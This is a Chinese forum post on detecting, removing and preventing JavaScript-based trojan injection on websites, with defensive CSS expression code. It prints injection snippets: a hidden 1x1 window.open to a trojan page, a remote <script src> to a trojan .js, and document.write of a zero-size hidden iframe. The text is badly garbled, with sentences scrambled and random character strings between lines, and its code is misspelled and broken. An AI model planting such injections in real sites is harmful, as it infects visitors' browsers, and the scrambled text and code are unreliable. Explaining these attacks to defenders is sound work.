搜索
查看: 11470|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

- h; W# e2 r/ z1 N: z! m2 p) v

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

s/ R+ z2 o) ]- s& L2 U# T/ E

IFRAME 和 JS 脚本挂马。

# t' z" D/ k& M6 a1 W

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

8 C+ i# D8 M3 c! I, m w! z

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

( |$ {/ y4 T/ r2 V" A7 g

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

) {( x' f, Z, S% l

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

/ i/ J$ T9 P3 v. [) s" E

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

- ?+ M E( X1 T+ S, E" v" @

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

$ ]9 {* x) p8 @# b$ f- W% ?

。一千多位会员的 ID

6 P: s& J; X+ R2 V

2: 如何检测网页是否被挂马。

, O5 ^; W7 \0 x; r; ^; T

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

- M& O- e/ `. C% K; P# x% X

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

2 B! h& v K" ^

因素。
2 googl 检测。>

# B. _* B# d/ ]2 r& J

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

) u1 v3 c$ h+ ?1 v3 Q3 C% ~5 N! b

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

. D4 O9 T5 v% ]6 V

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

: E3 C# _( T2 M, Y& k

4 N1 Y# l1 ^* F) s" l! A2 d1 P

3: 如何清除网页木马。

' H2 ? g' U6 @

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

+ a( R" N A H9 m

入源文件把相关的网页挂马种类的可疑代码删除。

( t1 c. X' M; S! L

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

1 D7 O; g, z9 @- Q! w/ o/ Y0 M

悉。>

6 }) _' X6 y" _! l' v% k6 Z; P

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

0 F; T p# \! I: n8 X6 p

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

; s; r4 v2 [5 n( e' D5 D$ j- \

2 保证你所使用的顺序及时的更新。

' }: p5 V/ g7 e) ?

3 不要在前台网页上加注后台管理程序登陆页面的链接。

/ ^8 ^. {. |$ \4 G/ }& b+ C

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

* p: d1 J8 W. A

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

9 B% K$ N% M" g; z

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

, @1 Y; L0 a! Y5 G5 {% G

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

% n; q/ p- ^3 d9 U& W: l9 j2 i: ?; w

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

; {( X1 O& k$ K& `. A. f

- V7 w2 N3 ^4 W& i4 g

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

* d" J: m! X* c8 @2 P

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

7 F% ]0 z% C) l5 N, L" l

JS 挂马溯源

- V# {2 t* O* m2 a; d$ s

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

1 c0 S0 I- V+ q) e. T% w5 j# `3 D

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

( K- Z6 u2 H# Y

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

# Y: ]* E2 e. ~* k4 `

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

& ^8 k0 r4 ^& v, C; s" q

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

* X( H6 i. } N; E

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

+ c7 J+ M9 D$ V4 n

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

$ {: p9 _- Z2 S3 F' C

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

2 t& |+ M7 J. F& ]$ g& a5 M' ^

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

# ^8 S+ q- t% i) H1 g

脚本在工作中会有很大的协助。

' p( H" g5 t: J& @* d# M

挂马原理一点通

: h( \! ` E. y* X6 \7 }* ?0 h

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

" }4 c- j$ X/ @

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

$ U( u8 C, P! P4 d' y

无从区分木马在何处。

2 Q H! B0 O2 k/ Z( o. f. T1 z( L6 g

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

4 w ]4 m: j( H4 I: ~; T

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

8 W0 m" D1 B0 A% P0 b o8 D' l

容易蒙混过关,导致木马久杀不绝。

6 [) q! c) s9 V* ?7 g& I

JS 挂马攻防实录

1 G3 U7 C$ R# E8 ?6 f6 a7 v

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

2 M+ s. l3 s' a

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

. f7 N3 U, J0 d

这种方法使用的关键代码如下:

, P1 D9 C4 J3 G1 L

"",  window.open "http://www.v404.cn/ 木马

7 R4 o6 ^5 @3 S$ o

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

# J6 t2 E F: n; L; V2 [" b5 G

* C, X. v; W; f; Z! W! D

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

5 X' z# u8 | K4 k/ p E

但是设置为 0 后,可能会出现恶意代码不运行的情况。

& t5 ?! C2 |1 w9 B" u' ?

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

% ^' c' b7 Q8 o# j j: k9 p

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

: `( P$ H( Q! n, Z- [$ w8 E" _

' C& v3 K# d) Y- @' F! E

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

2 f: n. ~; C+ ]* Z! K/ I

~5 ?9 H% F: }# o$ O- i" n0 r& X

或者

# Z) d% {: B& G4 m

document.writ "<div style='display:none'>"

2 y6 f* {+ i. j( O+ _+ I7 K

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

- t" B3 _5 N# G- ?

document.writ "</div>"
 

) ~% ~4 P+ c! }* H3 t+ B8 z) f* V- D

# J; ` \( D( d# M" D# q3 s, L) I0 a

就成功地将木马挂到对方的网页中了

; i* @% C+ D( A

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

" ]$ W3 s7 @$ {& ^- D# v: L

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

, f2 ]" _+ R6 H+ n. o- C& }

或者:

- }* _0 g8 N5 y8 B( e

<ifram src="vbscript:[ 挂马脚本 ]">

( m0 n5 C6 ]6 b' u5 P

) b+ |6 g/ c' Z. b& r' o; J3 N; r


等等 …

! G5 D4 f1 t3 [) j! u

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

6 ~: I, f" ~ i% \% H; _& |

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

1 `7 r# l) B: z( z" q; `( q0 F, n

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

: n0 q1 L6 q; Y; E7 S# C6 x/ c

;}

3 V+ X% ?3 V4 R; _# d) \

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

4 L: A# {& c0 ?' r

0 u3 a w: O4 p$ @" N

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

& v- P$ Y; _3 l9 N

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

% N5 `8 k+ h! ^/ O- Y/ H

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

2 L# c* N' O3 H3 b/ B. a4 g2 Z+ H$ ^) G. |

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

* w; p" q6 y3 ^$ o5 c0 ^

<title> 让 JS 挂马中止的 CSS 代码 </title>

/ ?" G3 Q) R6 a' s/ C& x* }$ r( ]

<styl type="text/css" id="shudoo">

5 W! p# Q# R; A* n8 Y/ S

/*<![CDATA[*/

/ t) R6 J5 [3 ]/ Y* p

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

" ~ p3 T6 H5 u, J7 x/ z3 N

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

+ N+ o5 k1 j- b5 }# z

/*]]>*/

! f) y1 T% x% j' q

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表